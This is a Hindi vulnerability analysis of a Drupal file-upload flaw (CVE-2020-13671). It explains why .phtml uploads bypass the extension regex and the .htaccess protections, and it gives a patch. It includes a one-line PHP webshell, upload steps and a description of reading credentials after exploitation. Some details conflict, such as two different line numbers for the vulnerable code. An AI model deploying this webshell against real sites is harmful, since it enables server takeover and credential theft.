
CVE-2020-13671 - फ़ाइल अपलोड भेद्यता विश्लेषण और PoC के माध्यम से Drupal RCE
सॉफ़्टवेयर: Drupal Core 8.7.5 (प्रभावित: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (उच्च)
CWE: CWE-434 — खतरनाक प्रकार वाली फ़ाइल का अनियंत्रित अपलोड
CISA KEV: हाँ — ज्ञात शोषित भेद्यता
Advisory: SA-CORE-2020-012
Drupal एक ओपन-सोर्स कंटेंट मैनेजमेंट सिस्टम (CMS) है जो PHP में लिखा गया है, WordPress या Joomla के समान, लेकिन अधिक जटिल सिस्टम — एंटरप्राइज़ वेबसाइटें, बहु-भाषा प्लेटफ़ॉर्म — बनाने की ओर झुकाव रखता है। Drupal एक मॉड्यूलर आर्किटेक्चर का उपयोग करता है, जिससे उपलब्ध मॉड्यूल को सक्षम/अक्षम करके या समुदाय से अतिरिक्त मॉड्यूल स्थापित करके कार्यक्षमता को बढ़ाया जा सकता है।
किसी भी CMS के बुनियादी कार्यों में से एक है उपयोगकर्ताओं को फ़ाइलें अपलोड करने की अनुमति देना — प्रोफ़ाइल अवतार, संलग्न दस्तावेज़, लेखों में अनुलग्नक। Drupal इन फ़ाइलों को sites/default/files/ निर्देशिका में सहेजता है और उन्हें सीधे वेब सर्वर (Apache या Nginx) के माध्यम से परोसता है।
⇒ यह एक स्पष्ट हमले की सतह बनाता है: यदि कोई हमलावर उस निर्देशिका में PHP फ़ाइल अपलोड करने में सफल हो जाता है, तो वेब सर्वर इसे आने वाले अनुरोध के माध्यम से एक्सेस करने पर निष्पादित कर देगा।
इसे रोकने के लिए, Drupal कई सुरक्षा परतें बनाता है: फ़ाइल एक्सटेंशन की जाँच करना, खतरनाक फ़ाइलों का नाम बदलना, अपलोड निर्देशिका में स्क्रिप्ट निष्पादन को रोकने के लिए .htaccess रखना। लेकिन संस्करण 8.7.5 में, हमलावर इन परतों के बीच के ठीक उसी अंधे स्थान (blind spot) का शोषण करते हैं।
इस भेद्यता के लिए फ़ाइल अपलोड अनुमतियों वाले खाते की आवश्यकता होती है। Drupal 8.7.5 में डिफ़ॉल्ट रूप से, सामान्य उपयोगकर्ताओं (Authenticated) के पास केवल सामग्री देखने और टिप्पणियाँ पोस्ट करने की अनुमतियाँ होती हैं — लेख बनाने या फ़ाइलें अपलोड करने की कोई अनुमति नहीं होती।
| खाता | शोषण योग्य? | विवरण |
|---|---|---|
| Admin | हाँ | पूर्ण अपलोड अनुमतियाँ |
| Editor / Content Creator | हाँ | यदि admin द्वारा "Create content" अनुमति दी गई हो |
| Authenticated user (डिफ़ॉल्ट) | नहीं | डिफ़ॉल्ट रूप से सामग्री बनाने या अपलोड करने की कोई अनुमति नहीं |
| Anonymous (लॉगिन नहीं किया) | नहीं | अपलोड करने की कोई अनुमति नहीं |
हालाँकि, व्यवहार में, कई Drupal साइटें सामान्य उपयोगकर्ताओं को सामग्री निर्माण की अनुमतियाँ देती हैं (फ़ोरम, सामुदायिक ब्लॉग, समाचार साइटें जो लेख सबमिशन की अनुमति देती हैं)। ऐसे मामलों में, एक हमलावर को इसका शोषण करने के लिए केवल एक खाता पंजीकृत करने की आवश्यकता होती है।
हमले का प्रवाह:
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE
फ़ाइल core/modules/file/file.module में, एक एकल regex है जो यह निर्धारित करता है कि कौन सी फ़ाइलें निष्पादन योग्य मानी जाती हैं:
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

यह regex 7 एक्सटेंशन सूचीबद्ध करता है: phar, php, pl, py, cgi, asp, js। इस सूची से मेल खाने वाले एक्सटेंशन वाली किसी भी फ़ाइल के अंत में Drupal स्वचालित रूप से .txt जोड़ देगा — जिससे निष्पादन की क्षमता समाप्त हो जाती है।
हालाँकि, PHP इंजन केवल .php फ़ाइलों को ही प्रोसेस नहीं करता। वेब सर्वर कॉन्फ़िगरेशन के आधार पर, यह अन्य एक्सटेंशन को भी पहचानता और निष्पादित करता है:
| एक्सटेंशन | अर्थ | regex में शामिल? |
|---|---|---|
.php | PHP मानक | हाँ |
.phtml | PHP वैकल्पिक टेम्पलेट | नहीं |
.php5 | PHP 5 हैंडलर | नहीं |
.pht | PHP टेम्पलेट | नहीं |
.phps | PHP सोर्स | नहीं |
.shtml | सर्वर-साइड इन्क्लूड | नहीं |
5 PHP एक्सटेंशन वैरिएंट regex में पूरी तरह से अनुपस्थित हैं। इसका मतलब है कि Drupal को भेजी गई shell.phtml नाम की फ़ाइल → regex मेल नहीं खाता → नाम नहीं बदला जाता → अपलोड निर्देशिका में मूल नाम के साथ सहेजी जाती है → वेब सर्वर .phtml देखता है → इसे PHP के रूप में निष्पादित करता है → हमलावर RCE प्राप्त करता है। यही मूल कारण है: Drupal ने खतरनाक एक्सटेंशन को रोकने के लिए ब्लैकलिस्ट का उपयोग किया, लेकिन वह सूची अधूरी थी।
जब कोई उपयोगकर्ता फ़ाइल अपलोड करता है, तो Drupal इसे सहेजने से पहले 3 सत्यापन फ़ंक्शनों से गुज़ारता है। नीचे विश्लेषण दिया गया है कि .phtml के साथ तीनों क्यों विफल हो जाते हैं।
file_munge_filename() (core/includes/file.inc)उद्देश्य: फ़ाइल नाम के बीच में स्थित खतरनाक एक्सटेंशन का पता लगाना और उन्हें बाधित करने के लिए _ जोड़ना। फ़ंक्शन कैसे काम करता है:

$filename_parts = explode('.', $filename); // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension
foreach ($filename_parts as $filename_part) {
// iterate over the MIDDLE parts
// if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;
उदाहरण के लिए shell.phtml के साथ:
explode विभाजित करता है: ["shell", "phtml"]shift "shell" लेता है, जिससे ["phtml"] बचता हैpop "phtml" लेता है, जिससे [] बचता हैforeach निष्पादित नहीं होता"shell.phtml" ज्यों का त्यों लौटाता हैहालाँकि, यदि फ़ाइल में केवल एक एक्सटेंशन है, तो यह हस्तक्षेप नहीं करता। इस प्रकार, यह फ़ंक्शन केवल कई एक्सटेंशन वाली फ़ाइलों को संभालने के लिए डिज़ाइन किया गया है।
FILE_INSECURE_EXTENSION_REGEX (file.module:1015)यह मुख्य सुरक्षा परत है। पंक्ति 1015 पर कोड:

if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
&& preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
&& (substr($file->getFilename(), -4) != '.txt')) {
$file->setMimeType('text/plain');
$file->setFilename($file->getFilename() . '.txt');
}
यदि फ़ाइल नाम regex से मेल खाता है → MIME को text/plain में बदलें और अंत में .txt जोड़ें।
shell.phtml के साथ:
preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') 0 लौटाता है.phtml खतरनाक है, यह सीधे निकल जाता है।.htaccessDrupal sites/default/files/ में एक .htaccess फ़ाइल रखता है:
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
php_flag engine off निर्देश पूरी निर्देशिका के लिए PHP इंजन बंद कर देता है, लेकिन यह केवल mod_php5 पर लागू होता है। Drupal 8.7.5 PHP 7 पर चलता है, जिसका अर्थ है कि mod_php7 सक्रिय है और अक्षम नहीं है।
और .htaccess में 3 अन्य कमज़ोरियाँ भी हैं:
.htaccess नहीं पढ़ता — यह फ़ाइल Nginx पर पूरी तरह अप्रभावी हैAllowOverride None के साथ कॉन्फ़िगर किया गया Apache → .htaccess अनदेखा किया जाता हैmod_php के बजाय PHP-FPM का उपयोग करने वाले सर्वर → php_flag निर्देश का कोई प्रभाव नहीं होताecho '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml
अपलोड अनुमतियों वाले खाते से Drupal में लॉगिन करें → Content → Add content → Article → Image फ़ील्ड में, webshell.phtml फ़ाइल चुनें → अपलोड करें।
Drupal फ़ाइल को स्वीकार करता है, उसका नाम नहीं बदलता, और उसे मूल नाम के साथ sites/default/files/ में सहेजता है।

उसके बाद, whoami के साथ शेल कॉल निष्पादित करें:

इस प्रकार, हमने www-data के रूप में सफलतापूर्वक RCE प्राप्त कर लिया है।
क्रेडेंशियल देखने के लिए आगे परीक्षण करें:

हमलावर डेटाबेस क्रेडेंशियल युक्त settings.php पढ़ सकता है, पूरे DB का डंप ले सकता है, रिवर्स शेल स्थापित कर सकता है, या विशेषाधिकार बढ़ाकर root तक पहुँच सकता है।
regex अपडेट करें — 5 लुप्त एक्सटेंशन जोड़ें:
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'
// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'
.htaccess अपडेट करें — mod_php7 के लिए अक्षमीकरण जोड़ें:
<IfModule mod_php7.c>
php_flag engine off
</IfModule>
पैच काम करता है लेकिन फिर भी ब्लैकलिस्ट पर निर्भर करता है। यदि भविष्य में नए एक्सटेंशन सामने आते हैं (.php8, .phpt), तो regex को फिर से अपडेट करने की आवश्यकता होगी। व्हाइटलिस्टिंग — केवल ज्ञात सुरक्षित एक्सटेंशन की अनुमति देना — एक अधिक गहन दृष्टिकोण होगा।
| भेद्य फ़ाइल | core/modules/file/file.module पंक्ति 28 |
|---|---|
| मूल कारण | Regex ब्लैकलिस्ट में .phtml, .php5, .pht, .phps, .shtml लुप्त हैं |
| प्रभाव | .phtml अपलोड करें → सर्वर निष्पादित करता है → RCE |
| 3 बायपास की गई सुरक्षा परतें | file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess |
| पैच | regex में 5 एक्सटेंशन जोड़ें + .htaccess में mod_php7 अक्षम करें |